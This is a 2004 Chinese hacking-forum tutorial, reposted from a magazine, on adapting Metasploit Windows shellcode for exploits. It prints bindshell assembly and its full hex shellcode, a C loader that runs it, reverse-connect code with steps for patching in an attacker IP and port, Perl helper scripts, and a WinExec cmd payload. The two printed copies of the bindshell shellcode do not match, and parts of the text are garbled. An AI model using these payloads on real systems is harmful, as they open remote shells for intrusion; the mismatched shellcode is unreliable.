[原创]菜鸟也玩shellcode
文章标题:[原创]菜鸟也玩shellcode顶部 无敌最寂寞 发布于:2004-12-2808:15  [楼主][原创]菜鸟也玩shellcode
文章作者:无敌最寂寞[EST]
信息来源:邪恶八进制信息安全团队
原文出处:《黑客x档案》
上期的x档案我写了一篇菜鸟也能写exploit,里面主要介绍了溢出点的定位以及exploit的编写。都是菜鸟级的东西,也不知道读者朋友们是否学到了点什么。这一次我又给大家带来了一篇溢出方面的文章,主要给大家介绍一些菜鸟级的shellcode编写了。
大家都知道的,编写shellcode是需要很深的编程功底还要熟知操作系统底层知识,因此呢我们还是要使用别人写好的shellcode(先别急着打我,大家看我的题目——“玩”而不是“写”)。换句话说,我们是要改造高人写好的shellcode成为自己的东东。
一、手工篇
首先,我们要先准备好我们的“主菜”——shellcode。我在metasploit上到了几个shellcode。先看下面的一个:
[BITS32]
global_start
_start:
LCaller:
callLLoadFunctions
LDataSegment:
;========================
dd"CMD"
dd0x79c679e7;closesocket    12
dd0x498649e5;accept      16
dd0xe92eada4;listen      20
dd0xc7701aa4;bind      24
dd0xadf509d9;WSASocketA    28
dd0x3bfcedcb;WSAStartup    32
LBind:
pushedi
pushedi
pushdword0x11220002;port8721
movesi,esp
pushbyte0x10  ;length
pushesi
pushebx
call[ebp+24]
我只列出了部分关键代码,完整代码详见光盘。这个是汇编写的bindshell,它可以绑定一个cmdshell到任意本地端口。我们要做的就是把上面的代码写成shellcode形式。
首蟁i业秸饩洌簆ushdword0x11220002;port8721
这个就是绑定的端口,比如我们想绑定1234端口,那么先把1234换成十六进制是04d2,然后再按照低位再前高位在后的顺序排列就是d204。替换到原句后变成:
pushdword0xd2040002
OK!代码是改好了,下面我们需要把这段代码编译成一个二进制文件,我这里用到的编译器是nasm。把上面的代码存为bindshell.asm,复制此文件到nasm解压目录下的bin子目录下。然后打开一个cmd窗口,
并来到bin目录下,然后输入:nasm-fbin-obindshell.binbindshell.asm回车确认后,我们就可以得到一个二进制文件bindshell.bin,如图一。
=800)window.open('222.174.144.130/tools/1.gif');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
用ultraedit打开bindshell.bin文件,如图二。
=800)window.open('222.174.144.130/tools/2.gif');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
看到那些十
六进制树了吗?那就是我们的shellcode了,我们只要把那些十六进制数复制下来,然后改写成“\xE8\x38\x00\x00\x00\x43”这样的形式就可以了。可是手动太麻烦了,我们还是编程解决。于是我写了一个包含下面代码的简单perl程序(你用python或者其它任何语言我都不反对的:-)):
Copycode
#!/usr/bin/perl
#poweredby无敌最寂寞[EST]
my$filename=shift;
open(FILE,"<$filename");
open(RES,"&");
while(<FILE>)
{
s/.*h://ig;
s/;.*//ig;
s/\s*$//g;
s/\s/\\x/ig;
print$_;
printRES'"'.$_.'"'."\n";
}
closeFILE;
closeRES;
别小看这些个代码哦,它可以省去我们的手工之苦。把这些代码存为hex.pl,然后在ultraedit里按下ctrl+a组合键全选所有内容,然后单击右键选择菜单中的“HEX复制选定区”。接着在bin目录里新建任意文件(为了方便,我把hex.pl以及新建的这个文件都放在了bin目录下了),在新建的文件中ctrl+v粘贴并保存此文件,如图三。
=800)window.open('222.174.144.130/tools/3.gif');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
接着在先前打开的cmd窗口下输入:,回车确认后如图四。
=800)window.open('222.174.144.130/tools/4.gif');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
这时在同目录下也生成了一个新的txt文件——。打开后就是我们想要的shellcode了,如下:
"\xE8\x38\x00\x00\x00\x43\x4D\x44\x00\xE7\x79\xC6\x79\xE5\x49\x86"
"\x49\xA4\xAD\x2E\xE9\xA4\x1A\x70\xC7\xD9\x09\xF5\xAD\xCB\xED\xFC"
"\x3B\x8E\x4E\x0E\xEC\x7E\xD8\xE2\x73\xAD\xD9\x05\xCE\x72\xFE\xB3"
"\x16\x57\x53\x32\x5F\x33\x32\x2E\x44\x4C\x4C\x00\x01\x5B\x54\x89"
"\xE5\x89\x5D\x00\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C\x8B\x70\x1C"
"\xAD\x8B\x58\x08\xEB\x0C\x8D\x57\x2C\x51\x52\xFF\xD0\x89\xC3\x59"
"\xEB\x10\x6A\x08\x5E\x01\xEE\x6A\x0A\x59\x8B\x7D\x00\x80\xF9\x06"
"\x74\xE4\x51\x53\xFF\x34\x8F\xE8\x90\x00\x00\x00\x59\x89\x04\x8E"
"\xE2\xEB\x31\xFF\x66\x81\xEC\x90\x01\x54\x68\x01\x01\x00\x00\xFF"
"\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xFF\x55\x1C\x89\xC3\x31"
"\xFF\x57\x57\x68\x02\x00\x04\xD2\x89\xE6\x6A\x10\x56\x53\xFF\x55"
"\x18\x57\x53\xFF\x55\x14\x57\x56\x53\xFF\x55\x10\x89\xC2\x66\x81"
"\xEC\x54\x00\x8D\x3C\x24\x31\xC0\x6A\x15\x59\xF3\xAB\x89\xD7\xC6"
"\x44\x24\x10\x44\xFE\x44\x24\x3D\x89\x7C\x24\x48\x89\x7C\x24\x4C"
"\x89\x7C\x24\x50\x8D\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"
"\x51\x51\xFF\x75\x00\x51\xFF\x55\x30\x89\xE1\x68\xFF\xFF\xFF\xFF"
"\xFF\x31\xFF\x55\x2C\x57\xFF\x55\x0C\xFF\x55\x28\x53\x55\x56\x57"
"\x8B\x6C\x24\x18\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18"
"\x8B\x5A\x20\x01\xEB\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC"
"\x31\xC0\xAC\x38\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C"
"\x24\x14\x75\xE1\x8B\x5A\
x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C"
"\x01\xEB\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x89\xEA\x5F\x5E\x5D"
"\x5B\xC2\x08\x00"
这就是完整的shellcode,是不是很简单呢?也许你会说,这些shellcode对吗?没关系,我们来验证一下吧。打开一个你喜爱的C编译器(我这里用的是lccwin32),新建一个工程test和cpp1.c文件。下面开始写代码了,把上面的shellcode放到一个字符串数组中如下:
charshellcode[]="\xE8\x38\x00\x00\x00\x43\x4D\x44\x00\xE7\x79\xC6\x79\xE5\x49\x86"
"\x49\xA4\xAD\x2E\xE9\xA4\x1A\x70\xC7\xD9\x09\xF5\xAD\xCB\xED\xFC"
"\x3B\x8E\x4E\x0E\xEC\x7E\xD8\xE2\x73\xAD\xD9\x05\xCE\x72\xFE\xB3"
"\x16\x57\x53\x32\x5F\x33\x32\x2E\x44\x4C\x4C\x00\x01\x5B\x54\x89"
"\xE5\x89\x5D\x00\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C\x8B\x70\x1C"
"\xAD\x8B\x58\x08\xEB\x0C\x8D\x57\x2C\x51\x52\xFF\xD0\x89\xC3\x59"
"\xEB\x10\x6A\x08\x5E\x01\xEE\x6A\x0A\x59\x8B\x7D\x00\x80\xF9\x06"
"\x74\xE4\x51\x53\xFF\x34\x8F\xE8\x90\x00\x00\x00\x59\x89\x04\x8E"
"\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xFF\x55\x1C\x89\xC3\x31"
"\xFF\x57\x57\x68\x02\x00\x04\xD2\x89\xE6\x6A\x10\x56\x53\xFF\x55"
"\x18\x57\x53\xFF\x55\x14\x57\x56\x53\xFF\x55\x10\x89\xC2\x66\x81"
"\xEC\x54\x00\x8D\x3C\x24\x31\xC0\x6A\x15\x59\xF3\xAB\x89\xD7\xC6"
"\x44\x24\x10\x44\xFE\x44\x24\x3D\x89\x7C\x24\x48\x89\x7C\x24\x4C"
"\x89\x7C\x24\x50\x8D\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"
"\x51\x51\xFF\x75\x00\x51\xFF\x55\x30\x89\xE1\x68\xFF\xFF\xFF\xFF"
"\xFF\x31\xFF\x55\x2C\x57\xFF\x55\x0C\xFF\x55\x28\x53\x55\x56\x57"
"\x8B\x6C\x24\x18\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18"
"\x8B\x5A\x20\x01\xEB\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC"
"\x31\xC0\xAC\x38\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C"
"\x24\x14\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C"
"\x01\xEB\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x89\xEA\x5F\x5E\x5D"
"\x5B\xC2\x08\x00";
然后写我们的主程序:
voidmain(void)
{
int(*pfunc)();  //定义指向函数的指针
pfunc=(int(*)())shellcode; //把shellcode所指向的字符串地址送存到pfunc指针变量中
(int)(*pfunc)(); //跳转到pfunc所在代码处执行
}
代码很简单吧?让我们编译后运行看看,如图五。
=800)window.open('222.174.144.130/tools/5.gif');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
我们的程序似乎成功运行了,我们telnet本地的1234端口看看,如图六。
=800)window.open('222.174.144.130/tools/6.gif');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
HOHO~,得到shell了,说明我们的shllcode确实没有错误,到这里我们已经有了自己的shellcode,把它替换到exploit的shellcode,有没有种成就感呢?
有了绑定端口的shellcode了,也许大家还想要反向连接的?其实
道理和上面的是一样的,因此我就捎带给大家介绍一下好了,有兴趣的读者可以自己常识修改(说过:自己动手,丰衣足食。)。反向连接的shellcode关键代码如下:
LConnnect:
push0xF700A8C0;host:192.168.0.247
push0x11220002;port:8721
movecx,esp
pushbyte0x10
pushecx
pushebx
call[ebp+16]
testeax,eax
jneshortLFinished
我们只需要修改:
push0xF700A8C0;host:192.168.0.247
push0x11220002;port:8721
两句的反向连接ip和端口就行了。端口的修改方法同上,至于ip嘛你需要在exploit中动态的修改shellcode,关于如何动态修改读者可以参考一些具有反向连接功能的exploit。ip在shellcode中是这样表示的,比如你要把上面的ip改为222.144.133.122,你需要把每组数都先转换为16进制数如:222换成16
进制就是de,依次类推。然后把122的16进制数放在最前面后面依次是133、144、222,也就是这个样子:0x7a8590de。最后替换上面“push0xF700A8C0”中的“0xF700A8C0”就可以了,端口的替换方法上面我已经讲过了,这里就不再赘述。我这里再提供一段perl写的程序用来转换IP的,这可就方便多了哦:
Copycode
#!/usr/bin/perl
#IP转换程序by无敌最寂寞[E.S.T]
#用法:
#convert.plip
my$ip=shift;
chomp($ip);
#print$ip;
my@list=split(/\./,$ip);
#printjoin('|',@list);
my$constr='0x';
my$temp;
my$i;
for($i=3;$i>=0;$i--)
{if($list[$i]==0)
{$temp='00';}
else
{$temp=sprintf("%x",$list[$i]);}
$constr.=$temp;
}
print$constr;
这个程序也不是很完善,比如你给的ip中有一部分是小于16的,比如说192.168.0.1中的最后一个1,那么程序打印出的转换结果是0x100a8c0,少了一位。因此你需要自己手动把1变成01补足一位即可。
反向连接后门就介绍到这里,至于如何在c语言中实现exploit的编写,大家可以参考lion等牛人写的c版exploit,我就不献丑了。(个人还是比较喜欢用perl写exploit,方便、简单、实惠:-))
二、工具篇
也许有的朋友觉得上面的方法太过烦琐,想要一个更简单地方法。OK!这个任务就交给我了,从网上down了shellcode自动生成工具,试了一下还不错,拿来奉献给大家。首先我们先自己写个shell程序,程序很简单如下:
#include<windows.h>
intmain()
{
WinExec("cmd",5);
return0;
}
很简单地代码吧,这里简单说一下WinExec这个API函数,函数声明如下:
UINTWinExec(
LPCSTRlpCmdLine,
UINTuCmdShow
);
第一个参数是你要执行的命令,第二个参数是窗口显示模式,这个可以参考着ShowWindow函数。程序中第二个参数是5,也就是SW_SHOW,如图
七。
=800)window.open('222.174.144.130/tools/7.gif');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
上面的
程序编译运行后就会打开一个cmd窗口。下面我们要把这个程序转换成为汇编代码,用VC打开上面的程序,按F10键进行调试,在调试面板中选择Diassembaly,如图八。
=800)window.open('222.174.144.130/tools/8.gif');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
开始采集代码吧!首先新建一test.asm文件,用记事本打开后,在第一行写入[BITS32],然后把VC中的下面代码复制到test.asm中:
pushebp
movebp,esp
subesp,4h ;这个地方是我们修改过的,因为CMD字符串站了4个字节,因此我们就给esp减4
pushebx
pushesi
pushedi
上面这些代码是用来保护现场的,接着我们需要把CMD这个字符串保存到堆栈中,接着上面的代码输入:
movbyte[ebp-4],63h
movbyte[ebp-3],6dh
movbyte[ebp-2],64h
movbyte[ebp-1],0
63h、6dh、64h就是CMD三个字母的16进制表示形式,最后一个0代码字符串的结束。下面我们就准备调用WinExec函数了。大家都知道这个函数是在KERNEL32.dll中的,而且每个应用程序都会加载这个动态连接库。这样的话,我们可以先用jmpesp程序到WinExec的函数地址,然后调用就可以了。执行jmpesp的结果如图九,把0x77E69C1D地址记下来,一会用得着。
=800)window.open('222.174.144.130/tools/9.gif');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
该函数需要两个参数,那么我们现在就开始把参数压栈吧。记住最右面的参数最先入栈,接着上面的程序段输入:
push5 ;SW_SHOW参数
leaeax,[ebp-4] ;CMD字符串的首地址
pusheax  ;eax入栈
接着可以调用WinExec函数了:
moveax,0x77e69c1d;刚才让大家记的WinExec函数的地址
calleax ;调用了哦
执行到这里我们就已经得到了一个CMD窗口了,可是仅仅这样还不行,我们还需要恢复现场。程序的完整代码如下:
Copycode
[BITS32]
pushebp
movebp,esp
subesp,4h
pushebx
pushesi
pushedi
movbyte[ebp-4],63h
movbyte[ebp-3],6dh
movbyte[ebp-2],64h
movbyte[ebp-1],0
push5
leaeax,[ebp-4]
pusheax
moveax,0x77e69c1d
calleax
popedi
popesi
popebx
addesp,4h
movesp,ebp
popebp
ret
这就是我们的shell了,要注意的是如果代码中有ptr操作符,那么要记得把它们都删除掉哦,否则nasm编译是不会通过的。代码写好了,我们该把它们转成shellcode形式了,大家可以用我前面说的手工方法也可以用我刚刚介绍的这款工具。把test.asm复制到shellcode自动生成工具的解压目录,然后打开cmd
窗口并来到此目录下,深入如下命令:
nasm-s-fbintest.asm
执行完后会在同目录下生成一个test的无后缀文件,这个时候继续输入如下命令:
shellcodetest
菜鸟编辑器python执行完后会生成一个的文本文件,打开看看里面是什么?如图十。
=800)window.open('222.174.144.130/tools/10.gif');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
就这么简单,把这段shellcode放到下面的程序里面进行验证:
Copycode
charshellcode[]="\x55\x89\xE5\x81\xEC\x04\x00\x00\x00\x53\x56\x57\xC6\x45\xFC\x63"
"\xC6\x45\xFD\x6D\xC6\x45\xFE\x64\xC6\x45\xFF\x00\x68\x05\x00\x00"
"\x00\x8D\x45\xFC\x50\xB8\x1D\x9C\xE6\x77\xFF\xD0\x5F\x5E\x5B\x81"
"\xC4\x04\x00\x00\x00\x89\xEC\x5D\xC3";
voidmain(void)
{
int(*pfunc)();  //定义指向函数的指针
pfunc=(int(*)())shellcode; //把shellcode所指向的字符串地址送存到pfunc指针变量中
(int)(*pfunc)(); //跳转到pfunc所在代码处执行
}
编译运行后,如图十一。
=800)window.open('222.174.144.130/tools/11.gif');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
成功了吧?当然这只是个非常简单地shellcode,编写一个既好又通用的shellcode是件很不容易的事,大家多努力吧!
不管是手工还是工具,我们都没有考虑shellcode需要变形的情况。说到shellcode变形,我又不得不说这也是很麻烦的,要介绍它,还是需要拿出好多的时间来准备。希望有机会我能给大家介绍,不过这次这个工具又推出了新的版本,这个新版本可以简单对shellcode进行异或处理去除0x00,内附详细说明我这里就不多说了。
shellcode这次我就简单地说到这里了,相信看完我的文章大家也能“玩转”shellcode了吧,不过至于写出自己的shellcode那还是需要各位读者多加努力了哦!OK,seeyounexttime!
[此贴被无敌最寂寞在07-05-200501:36重新编辑](c)Copyleft2003-2007,EvilOctalSecurityTeam.
ThisfileisdecompiledbyanunregisteredversionofChmDecompiler.
Regsiteredversiondoesnotshowthismessage.
YoucandownloadChmDecompilerat:www.zipghost/

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。